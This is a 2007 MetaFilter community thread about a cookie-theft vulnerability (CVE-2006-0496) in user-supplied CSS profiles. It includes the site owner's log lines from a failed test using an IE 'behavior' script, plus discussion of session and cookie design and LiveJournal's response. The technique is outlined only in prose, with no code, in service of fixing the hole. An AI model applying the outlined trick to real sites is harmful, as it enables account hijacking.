I set a behavior property on a footer div in MetaFilter to load this file. I let it run for about 30 seconds, then I looked at my logs.

Here are a few entries from my logs:

85.103.143.156 - - [15/Apr/2007:05:14:22 -0500] "GET /mefi/metafilter.png HTTP/1.1" 200 3370 "http://www.metafilter.com/58032/Frilled-Shark-Destroys-Everything-You-Love" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

80.58.205.36 - - [15/Apr/2007:05:14:22 -0500] "GET /mefi/metafilter.png HTTP/1.1" 200 3370 "http://www.metafilter.com/51336/All-Roads-Lead-to-The-Middle-Kingdom" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"

80.216.242.88 - - [15/Apr/2007:05:14:27 -0500] "GET /mefi/metafilter.png HTTP/1.1" 304 - "http://www.metafilter.com/user/46739" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"

81.215.109.67 - - [15/Apr/2007:05:14:28 -0500] "GET /mefi/metafilter.png HTTP/1.1" 200 3370 "http://www.metafilter.com/tags/sex" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)"

All of them are using IE6, which is supposed to be prone to this, and I loaded the behavior script which is supposed to run js, but none of the attempted accesses for the img file appended their cookie details.

Is there anything wrong with the script? I just copied what people said would work here. This should be a worst case scenario, but I can't produce the exploit.
posted by mathowie at 12:05 PM on April 15, 2007

I never wanted to have to deal with errors when someone spends an hour writing a comment or post, only to have their operations die because the session is over.

Then extend the session lifecycle to a couple of hours. Storing the username and password in a cookie is just asking for trouble. Anything of value should be on the server--the only thing the user should have is a hash that points to their session, ideally tied to an IP address (also in the session).
posted by Civil_Disobedient at 12:08 PM on April 15, 2007

Matt, just an aside: what's up with the timestamps on those logs?
posted by aberrant at 12:13 PM on April 15, 2007

Matt, what makes you think those log entries are related to the scrtipt? You need to add something identifiable to the image URL so you can easily grep for it.
posted by cillit bang at 12:27 PM on April 15, 2007

cillit bang, those requests are on another server that doesn't host any of the requested images. Every request shown up there is from that behavior div hack.

It looks like the variables aren't being added to the img path, but I'm no javascripter and I'm just copying what was shown here. Anyone with knowledge of js want to give that script a once-over again?
posted by mathowie at 12:33 PM on April 15, 2007

Where would the script get "/mefi/metafilter.png" from?
posted by cillit bang at 12:59 PM on April 15, 2007

Well, this at least explains why I was clicking around madly on all the examples above w/out seeing a damn thing. (Next time I'll skip to the bottom first).

A splendid idea.
posted by Kwantsar at 1:28 PM on April 15, 2007

Stupid question, but what if you only allowed image extentions*, and then filtered all images into something like ImgRed? [Lifehacker, Code] This essentially grabs the image URL the first time it's called and saves it to a database, the loads the image from the database everytime after that. Because you (read: MeFi) is loading images from a trusted server, you can guarantee that it really is an image.

This makes sense to me, but then there's a reason I haven't created the next big MySpace/Facebook/MeFi mashup site.

*and I mean really only allow images. If you can only load a jpg/gif/png, don't bother looking for -moz nonsense, because it won't be able to load anything.
posted by niles at 1:32 PM on April 15, 2007

It took me entirely too long to read to the part where this was disabled, and nearly went insane when all the profiles I linked to still looked the same. Sheesh.
posted by iguanapolitico at 1:48 PM on April 15, 2007

OK, I know almost nothing about information security, but this discussion of exploits and holes strikes me as very similar to the "stranger danger" thread on AskMe recently. I mean, yes the risks are there, but what are the chances of someone actually doing damage? And what is the damage we are talking about -- just hijacking my MeFi account? I recall some discussion about the IMG tag that suggested it could be used to get info from other sites that were open at the same time. Is that what we are talking about here? Surely any kind of account hijacking could be remedied without too much trouble by the mods, right? I am cautious about my credit card number, but I don't stop going out to eat for fear that my server is going to clone my card when I pay. Isn't this in the same ballpark?

Also, can someone edit the post to reflect the current situation out of respect to latecomers?
posted by Rock Steady at 2:12 PM on April 15, 2007

Also also, have I asked enough questions?
posted by Rock Steady at 2:13 PM on April 15, 2007

BTW LiveJournal ran into this same issue. Since they have a lot more malicious users, it was pretty serious. They ended up downloading the css file on the server side and running it through a cleaner, then serving it locally. And then they still got beat by someone slipping something past the cleaner!
posted by smackfu at 2:18 PM on April 15, 2007

Ok, first of all I think I should apologise for this.

I intended to message Matt about this privately but I had to go out and stupidly left the test up on my profile.

That said, what we're seeing here is CVE-2006-0496. It was a big deal last year, Livejournal got hit pretty hard by it - several thousand accounts were compromised.

Livejournal's response is worth a read.
posted by Olli at 2:34 PM on April 15, 2007

I wish I'd had a free day to play, this could have been fantastic entertainment. It means I'm going to have to turn up to the next London meetup too, and give chrismear a proper smacker for that sweet-bit.
What was all the talk of nonces though?
posted by NinjaTadpole at 2:42 PM on April 15, 2007

Rocksteady:

OK, I know almost nothing about information security, but this discussion of exploits and holes strikes me as very similar to the "stranger danger" thread on AskMe recently. I mean, yes the risks are there, but what are the chances of someone actually doing damage? And what is the damage we are talking about -- just hijacking my MeFi account?

Well, people consider the risks differently. I'd prefer not to take this risk myself, but go ahead if you want to. The damage we're talking about is more than just hijacking your mefi account - as I posted above, if you're reading mefi at work, this could lead to a compromise of your company's network as a worst case scenario, or lead to divulging information about the network in a moderately-bad instance. If you're reading at home, behind a router with a specific configuration, your home network could be completely compromised in the worst case - in a moderately-bad scenario, the attacker would be able to download your router config, which more than likely has account information relating to your ISP connection if you're on DSL. The username and password you use to establish a PPPoE DSL connection is typically the same as the one used for your ISP's webmail and billing interfaces, so the attacker would then have that information as well.

As for the likelihood, all I can tell you is that I've seen the code that can do this - it's available on the net to anyone who can assemble its parts; I've seen it demonstrated (as has anyone who attended a particular session of the RSA conference in February, or who attended Defcon last year); and I know there are people here who are more than capable (leaving aside willingness and motivation, into which I have no insight) of launching such an attack.

So, my advice? Listen to the folks you trust, who do know something about information security. Make up your own mind as to whether this is a risk you want to take. But realize that there are some (though maybe just one) of us who don't want to take this particular risk, and who would like to see the identified issues resolved before it becomes available to anyone with capability, motivation, and $5, and even then, have it be an option that can be disabled.
posted by aberrant at 3:09 PM on April 15, 2007

Ninjatadpole: This definition is the one that you want :)
posted by aberrant at 3:15 PM on April 15, 2007

stranger danger

precisely what Rock Steady said. banning the img tag was dumb. killing user page customization was dumb. when i told mathowie he was acting like george bush after 9/11 with regard to these stupid exploits he told me to eat a bag of dick. sheesh. fix the password hash in the cookie problem, and turn the functionality people love back on. please?
posted by quonsar at 3:25 PM on April 15, 2007

Can we at least have CSS functionality back, minus the images? Being able to mess with colors, type and layout is still great.
posted by Brandon Blatcher at 3:30 PM on April 15, 2007 [1 favorite]

OMG SOMEONE HAS COMPROMISED MY HOME NETWORK! MY FAMILY REUNION MOVIES AND THE PIX OF MUFFIN SHITTING IN THE SANDBOX HAVE BEEN HAX0RZED!!!!!
posted by quonsar at 3:31 PM on April 15, 2007

I thought ColdFengshui was an application server? Doesn't it have the ability to keep session data?
posted by Civil_Disobedient at 3:42 PM on April 15, 2007

"...banning the img tag was dumb..."

This is really scary. Years ago there were times when I disagreed with decisions that Matt has made. I whined about it. The general response was that I was full of it. Eventually I just got tired of getting whackamoled every time I popped my head out of the sand. I can't even remember what I was whining about anymore. It was completely unimportant.

This time I agree with Matt. The img tag is superfluous, unnecessary, and though oftentimes funny, tended to detract from what made MeFi kewl. All these other people want it back. They think it adds to the kewlness.

I don't think Matt should start agreeing with me.
posted by ZachsMind at 3:49 PM on April 15, 2007

Make up your own mind as to whether this is a risk you want to take. But realize that there are some (though maybe just one) of us who don't want to take this particular risk, and who would like to see the identified issues resolved before it becomes available to anyone with capability, motivation, and $5, and even then, have it be an option that can be disabled.

OK, so shouldn't it be an option then, perhaps with an appropriate warning/disclaimer?
posted by Rock Steady at 4:20 PM on April 15, 2007

I also think we're better off without the IMG tag, frankly. Lots of thread that would have ended up just packed with images ended up not being.

As more and more users were joining, the traditional restraint was going away. Still, I wouldn't mind seeing 14kers and below allowed to use it...
posted by delmoi at 4:27 PM on April 15, 2007

I've scanned the thread twice. Somewhere when you guys start talking about XMLHTTPRequest and Javascript and server side versus client side requests you lose me.

I take it this means the whole CSS customization didn't work, huh?
posted by ZachsMind at 4:57 PM on April 15, 2007

It worked, it just also introduced a vulnerability that isn't super easy to fix, so it'll take more development to bring back.
posted by mathowie at 5:04 PM on April 15, 2007

Yikes. Good thing I had to leave for work early this morning instead of jumping in and changing my profile.

Bummer, though.
posted by Gator at 5:08 PM on April 15, 2007

After reading about the LJ exploits, I guess my fears are confirmed, but I'd like to bring this back as onsite CSS with some filtering on it, and redoing the cookie/login system to be more robust even if an exploit is figured out.

That's great.

Going with Livejournal's approach might be the best solution. You could restrict the cookie domains and serve profiles from .user.metafilter.com.
posted by Olli at 5:12 PM on April 15, 2007

I've never bought into the "we've never heard of it before so it can't possibly pose a threat to us" line - I've seen too many folks get burned with that logic.

Look, what I was saying was that I had never seen this exploit in the wild, and it just seemed a little odd that CSS has this capability built into it when the point of CSS was to handle style and style only. I wasn't saying it was impossible, I just thought it really odd that it hasn't scared the bejeezus out of the browser makers enough to come up with a fix.

After reading about the LJ exploits, I guess my fears are confirmed, but I'd like to bring this back as onsite CSS with some filtering on it, and redoing the cookie/login system to be more robust even if an exploit is figured out.

Sucks, but it's for the best. Thanks anyway Matt.
posted by dw at 5:25 PM on April 15, 2007

“Still, I wouldn't mind seeing 14kers and below allowed to use it...”

Wow. That's surprisingly anti-egalitarian and also very specific. Have I just been trolled?
posted by Ethereal Bligh at 6:38 PM on April 15, 2007

What's the matter quonsar, too much booze or not enough? Your life may be an open book but I've got data I'd rather the whole world not have access to.
posted by Mitheral at 6:39 PM on April 15, 2007

EB, yeah, I didn't respond because I think almost nobody would seriously support something like that. It'd be literally the first class-system initiated on mefi. All for the fact that someone just happened to arrive here early (when registrations were closed!)
posted by Firas at 6:44 PM on April 15, 2007

COULD IT PERHAPS BE A JOKE?!
posted by chrismear at 6:46 PM on April 15, 2007

Well, he's obviously not serious. That was my point.
posted by Firas at 6:50 PM on April 15, 2007

I don't miss the IMG tag. But I do miss customized profiles. Hope we (and by we, I mean you smart computer people) can figure out a way to make it happen.
posted by ThePinkSuperhero at 8:07 PM on April 15, 2007 [1 favorite]

What's the matter quonsar, too much booze or not enough?

The man lost the .GIFs in his profile, you insensitive bastard.
posted by Alvy Ampersand at 8:08 PM on April 15, 2007

Why don't we just remove the images part, and keep the rest of the CSS-customization for the time being? It sounds like the whole secure images thing isn't going to happen anytime soon, judging by the length of this thread.
posted by theiconoclast31 at 8:12 PM on April 15, 2007

obviously, it's not muffin shitting in Mitheral's sandbox.
posted by quonsar at 8:22 PM on April 15, 2007

Re: session-based cookies, CivilDisobedient recommended above that you tie sessions to specific IP addresses, but let me be the voice of dissent here -- I worked for about two weeks to try to reproduce a problem a user was having on one of my websites, and it finally came down to the fact that they were using an ISP which proxied every one of their web requests, and there was no guarantee that two requests within seconds of each other would appear to the outside world as coming from the same proxy server. So my session-based management -- which tied users to the IP address they logged in from -- wouldn't see their subsequent hits as valid because the ISP switched proxies mid-stream... it sucked. And I subsequently learned that there are a lot more ISPs and corporate networks that do this than you'd think; I had to give up tying sessions to IP addresses entirely.
posted by delfuego at 8:50 PM on April 15, 2007

I gotta hand it to Matt. What an elaborate scheme to con Quonsar into modifying his profile page and then lose his pictures.

So, how many of you were in on it?
posted by Dave Faris at 8:51 PM on April 15, 2007

I was on the misdirection team.
posted by chrismear at 9:00 PM on April 15, 2007

Excellent. I'm off to write CSS to make everything blink.
posted by davejay at 10:13 PM on April 15, 2007

rats :( i had a cool CSS file whipped up and everything.
posted by nihlton at 3:09 AM on April 16, 2007

So, how many of you were in on it?

it was the youtube viewer that sucked me in, moran.
posted by quonsar at 4:26 AM on April 16, 2007

Damn you, Matt. Announce that custom CSS profiles are available, publish a list of updated profiles, and then don't bother announcing publicly that the feature is disabled until I've spent 20 minutes clicking on every profile link trying to see evidence of this thing in operation. Can you add a note somewhere obvious about how the CSS feature is actually disabled so further latecomers don't waste their time?

I'm ungruntled.

[Out of curiousness, why does Gator's profile seem to be the only one still displaying the CSS trickery?]
posted by Milkman Dan at 8:14 AM on April 16, 2007

I think Gator's profile looked like that before the new CSS trickery thing came along.

If you look at the source, the style comes from a style tag in the page, not a link to an external stylesheet. These days, style tags are filtered out from user pages whenever they are edited.
posted by Aloysius Bear at 8:37 AM on April 16, 2007

[Out of curiousness, why does Gator's profile seem to be the only one still displaying the CSS trickery?]

Hey, yea, that's not fair. I want purty pictures.
posted by thanotopsis at 8:54 AM on April 16, 2007

gator's mods were born long, long ago; before the swampy mist of script exploits closed in and cut off his lonely peninsula.
It is said, as long he does not return to change his preferences, gator's totem will remain and guard the village from evil spirits. However, the elders warn, should he ever change the size of font or his email address, gator's spirit will be stripped from his profile by mathowie's protective amulet and the forces of the mundane will creep further towards us amidst the closing darkness.
To keep gator assuaged, we sacrifice members who joined after mid-2006, although scientists say this is superstitious and a waste of perfectly good explosives.
posted by NinjaTadpole at 8:57 AM on April 16, 2007 [2 favorites]

Freedom! We're better than Myspace! April 14, 2007 9:43 PM Subscribe

Freedom! We're better than Myspace!
April 14, 2007 9:43 PM Subscribe